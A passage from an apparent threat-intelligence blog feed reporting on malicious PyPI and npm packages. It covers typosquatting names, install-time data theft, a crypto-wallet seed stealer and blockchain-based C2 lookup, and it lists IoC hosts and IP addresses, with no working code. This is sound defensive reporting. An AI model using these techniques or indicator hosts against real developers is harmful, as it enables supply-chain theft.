Within the activity period, there are 1403 projects without email with the same description: &#8220;Minimal package created automatically&#8221; — and version 0.0.1 (chart 2). They coincide with the period of the campaign activity that the PyPI administrators were unhappy about.

The names of the packages from this batch are clear typosquatting (an attack on the fact that a developer will make a typo in the package name during installation or fall for a good name — and install a trojan):
🟢<code>avoid</code> 🐱
🟢<code>common-io</code>
🟢<code>win32crypt</code>
🟢<code>win32com</code>
🟢<code>pywintypes</code>
🟢<code>jsap</code>
🟢<code>webdav2</code>
🟢<code>arbuzmining</code> 🍉
🟢<code>requirements-cpu-txt</code>
🟢<code>requirements-cuda-txt</code>
🟢<code>dl-pivot-pandas</code>
🟢<code>steambaselib</code> 💀
🟢<code>catboost-spark</code>
🟢<code>numpynumpy</code>
🟢<code>antlr4-runtime</code>
🟢<code>celery-telegram</code>
🟢<code>exllama-kernels</code>
🟢<code>booking-api</code>

Some of the names target developers at Russian companies:
🟢<code>youla-spark-session</code> 🐱
🟢<code>ipy-kaspersky</code> 💀
🟢<code>vkads</code>
🟢<code>vkpay</code>
🟢<code>vkplay-sync</code> 😺
🟢<code>vkplay-metrics</code>

From these names it becomes clear that the PyPI administration stopped a campaign that could have harmed our compatriots 🥺

<strong>Is blacklisting the email </strong><code>@inbox.ru</code><strong> justified?</strong>

Currently, when creating a mailbox on <code>@inbox.ru</code>, a phone number or VK account is required. There is <a href="https://otvet.mail.ru/question/234228102" target="_blank" rel="noopener">a mention</a> that two years ago it was possible to do without email. Also, <a href="https://help.mail.ru/mail/account/aliases/" target="_blank" rel="noopener">you can create up to 10 anonymous mailboxes linked to your main email</a> as part of the official functionality of <a href="http://mail.ru" target="_blank" rel="noopener">mail.ru</a>.

Probably a not insignificant role is played by the ease of automation and the simpler bypass of heuristics for suspicious actions, given that an attacker was able to manage 207 mailboxes within 4 hours.

PyPI developers who have linked an <code>@inbox.ru</code> email are not affected by the &#8220;repressions&#8221; — only the &#8220;users&#8221; who participated in the campaign were blocked. It is not possible to create new accounts or link these mailboxes to existing accounts.

<strong>In summary</strong>

The restriction on creating new accounts using <code>@inbox.ru</code> email is a natural reaction to a campaign in which a couple hundred accounts registered within a short time began to run amok.

Microsoft&#8217;s email domains also came under blocking a year ago, which further reduces the likelihood that these actions express any kind of bias.

It turned out to be open-source myth busters 👀

<span class="hashtag">#ti</span> <span class="hashtag">#pypi</span> <span class="hashtag">#pyanalysis</span> <span class="hashtag">#scs</span>
<a href="https://t.me/ptescalator" target="_blank" rel="noopener">@ptescalator</a>]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Malware in open source!</title>
		<link>https://ptesc.tech/en/mmaallwwaarree-iinn-ooppeennssoouurrccee/</link>
		
		<dc:creator><![CDATA[ti_author]]></dc:creator>
		<pubDate>Wed, 26 Mar 2025 13:39:27 +0000</pubDate>
				<category><![CDATA[Threat Intelligence]]></category>
		<category><![CDATA[pyanalysis]]></category>
		<category><![CDATA[scs]]></category>
		<category><![CDATA[TI]]></category>
		<guid isPermaLink="false">http://localhost:8080/mmaallwwaarree-iinn-ooppeennssoouurrccee/</guid>

					<description><![CDATA[Mmaallwwaarree iinn ooppeennssoouurrccee! A notable campaign by a single researcher is unfolding online. The following packages belong to him: User lastbright: 🟢yyttt 🟢bbllaacckkwwoollff 🟢bbllaacckkwwoollff-6ad8f762-1a91-45d7-a9c5-356bd8583…]]></description>
										<content:encoded><![CDATA[<p><strong>Mmaallwwaarree iinn ooppeennssoouurrccee!</strong> </p>
<p>A notable campaign by a single researcher is unfolding online. The following packages belong to him:</p>
<p>User <code>lastbright</code>:<br />
🟢<code>yyttt</code><br />
🟢<code>bbllaacckkwwoollff</code><br />
🟢<code>bbllaacckkwwoollff-6ad8f762-1a91-45d7-a9c5-356bd858356a</code><br />
🟢<code>bbllaacckkwwoollff6ad8f762</code><br />
🟢<code>bbllaacckkwwoollff6ad8f751</code><br />
🟢<code>bbllaacckkwwoollff6ad8f752</code><br />
🟢<code>bbllaacckkwwoollff6ad8f753</code><br />
User <code>lifeyi2253</code>:<br />
🟢<code>f2d5cfdc642c3d4</code><br />
🟢<code>f2d5cfdc642c3d5</code></p>
<p>The payload triggers at the moment of package installation.</p>
<p>It is interesting to watch in real time how the campaign develops:</p>
<p>🔤 PoC with comments in Chinese. An LLM assistant likely had a hand in this (<em>screenshot 1</em>, library <code>yyttt 0.1</code>).</p>
<p>🔤 The output of the Unix command <code>id</code> is sent to a remote server (<em>screenshot 2</em>, <code>bbllaacckkwwoollff</code> <code>0.1</code>, <code>0.2</code>).</p>
<p>🔤 Code received from a C2 server is executed (<em>screenshot 3</em>, <code>bbllaacckkwwoollff</code> <code>0.3</code>, <code>0.4</code>, <code>bbllaacckkwwoollff-6ad8f762-1a91-45d7-a9c5-356bd858356a 0.1</code>).</p>
<p>🔤 Why not grab a listing of interesting directories (<code>/opt/</code>, <code>/run/</code>), environment variables, and other goodies (<em>screenshot 4</em>, <code>bbllaacckkwwoollff6ad8f753 0.1</code>)?</p>
<p>🔤 No, that&#8217;s too much, <code>/etc/</code> is enough from the directories (<em>screenshot 5</em>, <code>f2d5cfdc642c3d5 0.1</code>).</p>
<p>On the host or on a test virtual machine, the attacker uses the username <code>mind</code>, as indicated by the path <code>/home/mind/configuration/config.py</code> in the fourth iteration (<em>screenshot 4</em>).</p>
<p>The package naming convention is noteworthy. Besides, it is always interesting to follow in real time how the attacker struggles with his packages being removed via reports 😈</p>
<p>In information security there is a term &#8220;<a href="https://1275.ru/articles/piramida-boli_8431" rel="noopener" target="_blank">The Pyramid of Pain</a>&#8221; — it describes the difficulty of evading detection. So, within the campaign, the attacker uses the same unique file <code>__init__.py</code>, shown <em>in screenshot 6</em>. The <a href="https://www.ptsecurity.com/ru-ru/services/pt-pyanalysis/" rel="noopener" target="_blank">PT PyAnalysis</a> system easily highlights this 😑</p>
<p>Beware of all sorts of wolves.</p>
<figure class="wp-block-image"><img width="1024" height="1024" src="https://ptesc.tech/wp-content/uploads/2025/03/photo_251@26-03-2025_13-39-27-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2025/03/photo_251@26-03-2025_13-39-27-1024x1024.jpg 1024w, https://ptesc.tech/wp-content/uploads/2025/03/photo_251@26-03-2025_13-39-27-300x300.jpg 300w, https://ptesc.tech/wp-content/uploads/2025/03/photo_251@26-03-2025_13-39-27-150x150.jpg 150w, https://ptesc.tech/wp-content/uploads/2025/03/photo_251@26-03-2025_13-39-27-768x768.jpg 768w, https://ptesc.tech/wp-content/uploads/2025/03/photo_251@26-03-2025_13-39-27.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="730" src="https://ptesc.tech/wp-content/uploads/2025/03/photo_252@26-03-2025_13-39-27-1024x730.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2025/03/photo_252@26-03-2025_13-39-27-1024x730.jpg 1024w, https://ptesc.tech/wp-content/uploads/2025/03/photo_252@26-03-2025_13-39-27-300x214.jpg 300w, https://ptesc.tech/wp-content/uploads/2025/03/photo_252@26-03-2025_13-39-27-768x548.jpg 768w, https://ptesc.tech/wp-content/uploads/2025/03/photo_252@26-03-2025_13-39-27.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="677" src="https://ptesc.tech/wp-content/uploads/2025/03/photo_253@26-03-2025_13-39-27-1024x677.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2025/03/photo_253@26-03-2025_13-39-27-1024x677.jpg 1024w, https://ptesc.tech/wp-content/uploads/2025/03/photo_253@26-03-2025_13-39-27-300x198.jpg 300w, https://ptesc.tech/wp-content/uploads/2025/03/photo_253@26-03-2025_13-39-27-768x508.jpg 768w, https://ptesc.tech/wp-content/uploads/2025/03/photo_253@26-03-2025_13-39-27.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="677" src="https://ptesc.tech/wp-content/uploads/2025/03/photo_254@26-03-2025_13-39-27-1024x677.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2025/03/photo_254@26-03-2025_13-39-27-1024x677.jpg 1024w, https://ptesc.tech/wp-content/uploads/2025/03/photo_254@26-03-2025_13-39-27-300x198.jpg 300w, https://ptesc.tech/wp-content/uploads/2025/03/photo_254@26-03-2025_13-39-27-768x508.jpg 768w, https://ptesc.tech/wp-content/uploads/2025/03/photo_254@26-03-2025_13-39-27.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="1024" src="https://ptesc.tech/wp-content/uploads/2025/03/photo_255@26-03-2025_13-39-27-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2025/03/photo_255@26-03-2025_13-39-27-1024x1024.jpg 1024w, https://ptesc.tech/wp-content/uploads/2025/03/photo_255@26-03-2025_13-39-27-300x300.jpg 300w, https://ptesc.tech/wp-content/uploads/2025/03/photo_255@26-03-2025_13-39-27-150x150.jpg 150w, https://ptesc.tech/wp-content/uploads/2025/03/photo_255@26-03-2025_13-39-27-768x768.jpg 768w, https://ptesc.tech/wp-content/uploads/2025/03/photo_255@26-03-2025_13-39-27.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<p>
<span class="hashtag">#ti</span> <span class="hashtag">#scs</span> <span class="hashtag">#pyanalysis</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>An attacker published malicious deepseeek and deepseekai packages on the Python Package Index</title>
		<link>https://ptesc.tech/en/an-attacker-published-malicious-packages-named-deepseeek-and-deepseekai-in-the-python-package-index/</link>
		
		<dc:creator><![CDATA[ti_author]]></dc:creator>
		<pubDate>Fri, 31 Jan 2025 17:25:42 +0000</pubDate>
				<category><![CDATA[Threat Intelligence]]></category>
		<category><![CDATA[pyanalysis]]></category>
		<category><![CDATA[pypi]]></category>
		<category><![CDATA[scs]]></category>
		<category><![CDATA[TI]]></category>
		<guid isPermaLink="false">http://localhost:8080/%d0%b7%d0%bb%d0%be%d1%83%d0%bc%d1%8b%d1%88%d0%bb%d0%b5%d0%bd%d0%bd%d0%b8%d0%ba-%d0%be%d0%bf%d1%83%d0%b1%d0%bb%d0%b8%d0%ba%d0%be%d0%b2%d0%b0%d0%bb-%d0%b2%d1%80%d0%b5%d0%b4%d0%be%d0%bd%d0%be%d1%81%d0%bd/</guid>

					<description><![CDATA[Attacker published malicious packages deepseeek and deepseekai on the Python Package Index 🐳 The Supply Chain Security team of the Threat Intelligence department at PT ESC discovered a malicious campaign amid a popular topic of recent days…]]></description>
										<content:encoded><![CDATA[<strong>Attacker published malicious packages deepseeek and deepseekai on the Python Package Index</strong> 🐳<br />
<br />
The Supply Chain Security team of the Threat Intelligence department at PT ESC <a href="https://www.ptsecurity.com/ru-ru/research/pt-esc-threat-intelligence/vredonosnye-pakety-deepseeek-i-deepseekai-byli-opublikovany-v-python-package-index/?utm_source=tg_seclab&#038;utm_medium=post&#038;utm_campaign=esc&#038;utm_content=31_01" rel="noopener" target="_blank">discovered a malicious campaign</a> amid a popular topic of recent days. The attacker, who created the account <code>bvk</code> in June 2023 and had not been active before, registered <strong>malicious packages deepseeek and deepseekai</strong> on January 29, 2025.<br />
<br />
Once installed, the discovered packages steal environment variables when the console commands deepseeek or deepseekai are invoked <em>(screenshot 2)</em>. Environment variables are typically valuable because they may contain sensitive data used in the operation of an application, such as access credentials for S3 object storage or other infrastructure resources.<br />
<br />
Notably, the code was created using an AI assistant, as indicated by characteristic comments <em>(screenshot 3)</em>.<br />
<br />
We promptly notified the repository administrators, <strong>the packages were quarantined and soon removed</strong>. Despite the quick response, they had already been downloaded 36 times by the pip package manager and the bandersnatch mirroring tool, and another 186 times — via browsers, requests, and other means.<br />
<br />
Stay vigilant: attackers are constantly looking for such successful names to carry out attacks in open source 🐱.<br />
<br />
<strong>IoCs:</strong><br />
<br />
<pre class="wp-block-code"><span><code lang="yaml" class="hljs language-yaml language-yaml"><span class="hljs-attr">PyPI package:</span> <span class="hljs-string">deepseeek</span>
<span class="hljs-attr">PyPI package:</span> <span class="hljs-string">deepseekai</span>
<span class="hljs-attr">c2:</span> <span class="hljs-string">eoyyiyqubj7mquj.m.pipedream.net</span></code></span></pre>

<figure class="wp-block-image"><img width="1024" height="597" src="https://ptesc.tech/wp-content/uploads/2025/01/photo_194@31-01-2025_17-25-42-1024x597.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2025/01/photo_194@31-01-2025_17-25-42-1024x597.jpg 1024w, https://ptesc.tech/wp-content/uploads/2025/01/photo_194@31-01-2025_17-25-42-300x175.jpg 300w, https://ptesc.tech/wp-content/uploads/2025/01/photo_194@31-01-2025_17-25-42-768x448.jpg 768w, https://ptesc.tech/wp-content/uploads/2025/01/photo_194@31-01-2025_17-25-42.jpg 1200w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="996" height="700" src="https://ptesc.tech/wp-content/uploads/2025/01/photo_195@31-01-2025_17-25-42.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2025/01/photo_195@31-01-2025_17-25-42.jpg 996w, https://ptesc.tech/wp-content/uploads/2025/01/photo_195@31-01-2025_17-25-42-300x211.jpg 300w, https://ptesc.tech/wp-content/uploads/2025/01/photo_195@31-01-2025_17-25-42-768x540.jpg 768w" sizes="auto, (max-width: 996px) 100vw, 996px" /></figure>

<br />
<br />
<span class="hashtag">#ti</span> <span class="hashtag">#pypi</span> <span class="hashtag">#pyanalysis</span> <span class="hashtag">#scs</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a>]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>First steps in the hacking field</title>
		<link>https://ptesc.tech/en/first-steps-in-the-hacking-field/</link>
		
		<dc:creator><![CDATA[ti_author]]></dc:creator>
		<pubDate>Tue, 24 Dec 2024 14:57:47 +0000</pubDate>
				<category><![CDATA[Threat Intelligence]]></category>
		<category><![CDATA[pyanalysis]]></category>
		<category><![CDATA[pypi]]></category>
		<category><![CDATA[scs]]></category>
		<category><![CDATA[TI]]></category>
		<guid isPermaLink="false">http://localhost:8080/%d0%bf%d0%b5%d1%80%d0%b2%d1%8b%d0%b5-%d1%88%d0%b0%d0%b3%d0%b8-%d0%bd%d0%b0-%d1%85%d0%b0%d0%ba%d0%b5%d1%80%d1%81%d0%ba%d0%be%d0%bc-%d0%bf%d0%be%d0%bf%d1%80%d0%b8%d1%89%d0%b5/</guid>

					<description><![CDATA[First steps on the hacking path 🐱 Open source is an interesting environment for observing how projects evolve. It's fascinating to study the implementation of the early versions of popular libraries like boto3, scikit-learn, requests (the c…]]></description>
										<content:encoded><![CDATA[<p><strong>First steps on the hacking path</strong> 🐱</p>
<p>Open source is an interesting environment for observing how projects evolve. It&#8217;s fascinating to study the implementation of the early versions of popular libraries like <code>boto3</code>, <code>scikit-learn</code>, <code>requests</code> (the <a href="https://pypi.org/project/requests/0.2.0/" rel="noopener" target="_blank">concept plan</a> for version 0.2.0 is quite creative).</p>
<p>It&#8217;s also interesting to watch people who, instead of using popular stealers and RATs, try their hand at writing their own solutions.</p>
<p>1️⃣ <strong>User SpaceyLad created a chain of two packages:</strong></p>
<p>🟢<code>not-so-evil-package-spaceylad</code>, whose code is shown <em>in screenshots 1</em> (original version) <em>and 2</em> (after automatic deobfuscation). This package is responsible for storing a string with the command to download the payload.</p>
<p>🟢<code>not-evil-calculator-spaceylad</code>, which will actually execute the command — <em>screenshot 3</em>.</p>
<p>In the first package, in all versions except 0.0.5, a harmless file with the <code>.css</code> extension is downloaded. If you&#8217;re unlucky, a file named <code>evil_python.exe</code> is downloaded from the author&#8217;s page on PythonAnywhere, which is actually&#8230; <code>calc.exe</code> from the standard Windows programs package. But even in that case, the payload will only execute if the user <code>IXY</code> is present.</p>
<p>One amusing detail — the project releases left in the <code>.idea</code> folder (the project folder in the PyCharm IDE) and the <code>.venv</code> folder (the Python virtual environment folder), which, aside from scant information about the package author, allowed us to learn the original project name — <code>pip_evil_package</code>. Also, thanks to a simple chain of &#8220;googling,&#8221; it turns out that the <em>developer</em> is a student in the cybersecurity department of a university in Norway 🐈</p>
<p>2️⃣ <strong>In July–August 2024, a package called </strong><code>recovery</code> existed, whose purpose according to its description was simple: <code>Checks recovery phone numbers against login page on yahoo</code>. The author&#8217;s name, <code>ExodusChecker</code>, raises vague suspicions, but let&#8217;s not jump to conclusions.</p>
<p>The first versions of the package look harmless (<em>screenshot 4</em> — for versions 0.0.1–0.0.3), then the first hints of malicious functionality appear (<em>screenshot 5</em> — versions 0.0.4–0.0.9). Starting with version 0.1.0, logic appears to replace the resource file for the Exodus crypto wallet (<em>screenshot 6</em>), and starting with version 0.1.4, the attacker learns to attach binary files to the release.</p>
<p>Over the course of 19 releases, the author builds up functionality, gradually turning a proof of concept with absolute paths (hello, user named <code>hammy</code>, testing on <code>Exodus 24.31.4</code>) into universal working code. After that, only QoL work was done. You can see the final result in <em>screenshot 7</em>, which reflects the thirtieth release — 0.3.1. The <code>suckme.bat</code> script saved to the startup folder is a joke in itself.</p>
<p>The <code>app.asar</code> being replaced itself uses a technique <a href="https://jfrog.com/blog/impala-stealer-malicious-nuget-package-payload/" rel="noopener" target="_blank">previously described by JFrog in Impala Stealer</a> with respect to the .NET NuGet package repository: the <code>unlock</code> function from <code>app/wallet/index.js</code> gains the functionality of sending the seed phrase to the attacker (<em>screenshots 8, 9</em>).</p>
<p>A simple way to protect yourself from this kind of trouble is to use an environment isolated from user files, such as Docker containers. This may not save end users, but developers will be protected to a certain extent from typical attacks. Additionally, you can look into <a href="https://www.ptsecurity.com/ru-ru/services/pt-pyanalysis/" rel="noopener" target="_blank">PyAnalysis</a> 😍</p>
<p>We wish you to stay safe from the mischief of attackers in the coming new year 🎂</p>
<figure class="wp-block-image"><img width="1024" height="1024" src="https://ptesc.tech/wp-content/uploads/2024/12/photo_155@24-12-2024_14-57-47-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2024/12/photo_155@24-12-2024_14-57-47-1024x1024.jpg 1024w, https://ptesc.tech/wp-content/uploads/2024/12/photo_155@24-12-2024_14-57-47-300x300.jpg 300w, https://ptesc.tech/wp-content/uploads/2024/12/photo_155@24-12-2024_14-57-47-150x150.jpg 150w, https://ptesc.tech/wp-content/uploads/2024/12/photo_155@24-12-2024_14-57-47-768x768.jpg 768w, https://ptesc.tech/wp-content/uploads/2024/12/photo_155@24-12-2024_14-57-47.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="1024" src="https://ptesc.tech/wp-content/uploads/2024/12/photo_156@24-12-2024_14-57-47-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2024/12/photo_156@24-12-2024_14-57-47-1024x1024.jpg 1024w, https://ptesc.tech/wp-content/uploads/2024/12/photo_156@24-12-2024_14-57-47-300x300.jpg 300w, https://ptesc.tech/wp-content/uploads/2024/12/photo_156@24-12-2024_14-57-47-150x150.jpg 150w, https://ptesc.tech/wp-content/uploads/2024/12/photo_156@24-12-2024_14-57-47-768x768.jpg 768w, https://ptesc.tech/wp-content/uploads/2024/12/photo_156@24-12-2024_14-57-47.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="1024" src="https://ptesc.tech/wp-content/uploads/2024/12/photo_157@24-12-2024_14-57-47-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2024/12/photo_157@24-12-2024_14-57-47-1024x1024.jpg 1024w, https://ptesc.tech/wp-content/uploads/2024/12/photo_157@24-12-2024_14-57-47-300x300.jpg 300w, https://ptesc.tech/wp-content/uploads/2024/12/photo_157@24-12-2024_14-57-47-150x150.jpg 150w, https://ptesc.tech/wp-content/uploads/2024/12/photo_157@24-12-2024_14-57-47-768x768.jpg 768w, https://ptesc.tech/wp-content/uploads/2024/12/photo_157@24-12-2024_14-57-47.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="1024" src="https://ptesc.tech/wp-content/uploads/2024/12/photo_158@24-12-2024_14-57-47-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2024/12/photo_158@24-12-2024_14-57-47-1024x1024.jpg 1024w, https://ptesc.tech/wp-content/uploads/2024/12/photo_158@24-12-2024_14-57-47-300x300.jpg 300w, https://ptesc.tech/wp-content/uploads/2024/12/photo_158@24-12-2024_14-57-47-150x150.jpg 150w, https://ptesc.tech/wp-content/uploads/2024/12/photo_158@24-12-2024_14-57-47-768x768.jpg 768w, https://ptesc.tech/wp-content/uploads/2024/12/photo_158@24-12-2024_14-57-47.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="1024" src="https://ptesc.tech/wp-content/uploads/2024/12/photo_159@24-12-2024_14-57-47-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2024/12/photo_159@24-12-2024_14-57-47-1024x1024.jpg 1024w, https://ptesc.tech/wp-content/uploads/2024/12/photo_159@24-12-2024_14-57-47-300x300.jpg 300w, https://ptesc.tech/wp-content/uploads/2024/12/photo_159@24-12-2024_14-57-47-150x150.jpg 150w, https://ptesc.tech/wp-content/uploads/2024/12/photo_159@24-12-2024_14-57-47-768x768.jpg 768w, https://ptesc.tech/wp-content/uploads/2024/12/photo_159@24-12-2024_14-57-47.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="1024" src="https://ptesc.tech/wp-content/uploads/2024/12/photo_160@24-12-2024_14-57-47-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2024/12/photo_160@24-12-2024_14-57-47-1024x1024.jpg 1024w, https://ptesc.tech/wp-content/uploads/2024/12/photo_160@24-12-2024_14-57-47-300x300.jpg 300w, https://ptesc.tech/wp-content/uploads/2024/12/photo_160@24-12-2024_14-57-47-150x150.jpg 150w, https://ptesc.tech/wp-content/uploads/2024/12/photo_160@24-12-2024_14-57-47-768x768.jpg 768w, https://ptesc.tech/wp-content/uploads/2024/12/photo_160@24-12-2024_14-57-47.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="1024" src="https://ptesc.tech/wp-content/uploads/2024/12/photo_161@24-12-2024_14-57-47-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2024/12/photo_161@24-12-2024_14-57-47-1024x1024.jpg 1024w, https://ptesc.tech/wp-content/uploads/2024/12/photo_161@24-12-2024_14-57-47-300x300.jpg 300w, https://ptesc.tech/wp-content/uploads/2024/12/photo_161@24-12-2024_14-57-47-150x150.jpg 150w, https://ptesc.tech/wp-content/uploads/2024/12/photo_161@24-12-2024_14-57-47-768x768.jpg 768w, https://ptesc.tech/wp-content/uploads/2024/12/photo_161@24-12-2024_14-57-47.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="1024" src="https://ptesc.tech/wp-content/uploads/2024/12/photo_162@24-12-2024_14-57-47-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2024/12/photo_162@24-12-2024_14-57-47-1024x1024.jpg 1024w, https://ptesc.tech/wp-content/uploads/2024/12/photo_162@24-12-2024_14-57-47-300x300.jpg 300w, https://ptesc.tech/wp-content/uploads/2024/12/photo_162@24-12-2024_14-57-47-150x150.jpg 150w, https://ptesc.tech/wp-content/uploads/2024/12/photo_162@24-12-2024_14-57-47-768x768.jpg 768w, https://ptesc.tech/wp-content/uploads/2024/12/photo_162@24-12-2024_14-57-47.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<p><span class="hashtag">#ti</span> <span class="hashtag">#pypi</span> <span class="hashtag">#pyanalysis</span> <span class="hashtag">#scs</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Through blockchain to data</title>
		<link>https://ptesc.tech/en/through-blockchain-to-data/</link>
		
		<dc:creator><![CDATA[ti_author]]></dc:creator>
		<pubDate>Tue, 26 Nov 2024 16:00:15 +0000</pubDate>
				<category><![CDATA[Threat Intelligence]]></category>
		<category><![CDATA[npm]]></category>
		<category><![CDATA[pyanalysis]]></category>
		<category><![CDATA[scs]]></category>
		<category><![CDATA[TI]]></category>
		<guid isPermaLink="false">http://localhost:8080/%d1%87%d0%b5%d1%80%d0%b5%d0%b7-%d0%b1%d0%bb%d0%be%d0%ba%d1%87%d0%b5%d0%b9%d0%bd-%d0%ba-%d0%b4%d0%b0%d0%bd%d0%bd%d1%8b%d0%bc/</guid>

					<description><![CDATA[Through the blockchain to the data ⭐️ Researchers from Socket and Checkmarx have reported on an interesting malicious campaign in NPM. The attackers mimicked plugins for Puppeteer and blockchain clients. A smart contract in the Ethereum blo…]]></description>
										<content:encoded><![CDATA[<strong>Through the blockchain to the data</strong> ⭐️<br />
<br />
Researchers from <a href="https://socket.dev/blog/massive-npm-malware-campaign-leverages-ethereum-smart-contracts" rel="noopener" target="_blank">Socket</a> and <a href="https://checkmarx.com/uncategorized/supply-chain-attack-using-ethereum-smart-contracts-to-distribute-multi-platform-malware/" rel="noopener" target="_blank">Checkmarx</a> have reported on an interesting malicious campaign in NPM. The attackers mimicked plugins for <a href="https://www.npmjs.com/package/puppeteer" rel="noopener" target="_blank">Puppeteer</a> and blockchain clients. A smart contract in the Ethereum blockchain is used to obtain the IP address of the current command server 😦<br />
<br />
<strong>Of the curious details — the library code uses several comments in Russian:</strong><br />
<br />
<strong>•</strong> <code>console.error(&quot;Ошибка при получении IP адреса:&quot;, err)</code>;<br />
<strong>•</strong> <code>console.error(&quot;Ошибка при запуске файла:&quot;, _0x88fda8)</code>;<br />
<strong>•</strong> <code>console.error(&quot;Ошибка установки:&quot;, _0x14ce94)</code>;<br />
<br />
Socket suggests being cautious with attribution, as this could be a consequence of code reuse or done deliberately.<br />
<br />
Depending on your platform, one of the following executable files will be downloaded and run: <code>node-win.exe</code>, <code>node-linux</code>, <code>node-macos</code>. Below we will refer to them as agents.<br />
<br />
<strong>We studied the campaign in more detail and discovered several more interesting details.</strong><br />
<br />
1️⃣ Despite the fact that Socket and Checkmarx cite only one IP address as a network IoC, the function for assigning a new URL in the smart contract was called several times. In total, we know of five addresses, and the earliest of them was <code>http://localhost:3001</code> 😈, the rest are VPS servers.<br />
<br />
2️⃣ The agent can establish persistence in the system and, just like the JS libraries that download and run it, obtain C2 through the blockchain. The executable file is a Node.js Single Executable Application, which packages the project and the JS interpreter into a single file.<br />
<br />
3️⃣ The agent periodically polls the server for commands in the form of JS code. The first payload collects information about the victim&#8217;s system: CPU model, number of cores, amount of RAM, data about the graphics card. The collected information is sent back to the server.<br />
<br />
4️⃣ The agents simply receive true if there are no new tasks. Of the interesting details: the root of the HTTP server returned the following error:<br />
<pre class="wp-block-code"><span><code lang="json" class="hljs language-json language-json">
{<span class="hljs-attr">"statusCode"</span>:<span class="hljs-number">404</span>,<span class="hljs-attr">"message"</span>:<span class="hljs-string">"ENOENT: no such file or directory, stat '/root/botnet-server/public/index.html'"</span>}
</code></span></pre><br />
This line sheds light on the possible goals of the attacker ☕️<br />
<br />
<strong>IoCs:</strong><br />
<pre class="wp-block-code"><span><code lang="yaml" class="hljs language-yaml language-yaml">
<span class="hljs-string">http://194.53.54.188:3001</span>
<span class="hljs-string">http://193.233.201.21:3001</span>
<span class="hljs-string">http://45.125.67.172:1337</span>
<span class="hljs-string">http://45.125.67.172:1228</span>
<span class="hljs-number">194.53</span><span class="hljs-number">.54</span><span class="hljs-number">.188</span>
<span class="hljs-number">193.233</span><span class="hljs-number">.201</span><span class="hljs-number">.21</span>
<span class="hljs-number">45.125</span><span class="hljs-number">.67</span><span class="hljs-number">.172</span>
</code></span></pre><br />
<span class="hashtag">#ti</span> <span class="hashtag">#npm</span> <span class="hashtag">#pyanalysis</span> <span class="hashtag">#scs</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a>]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
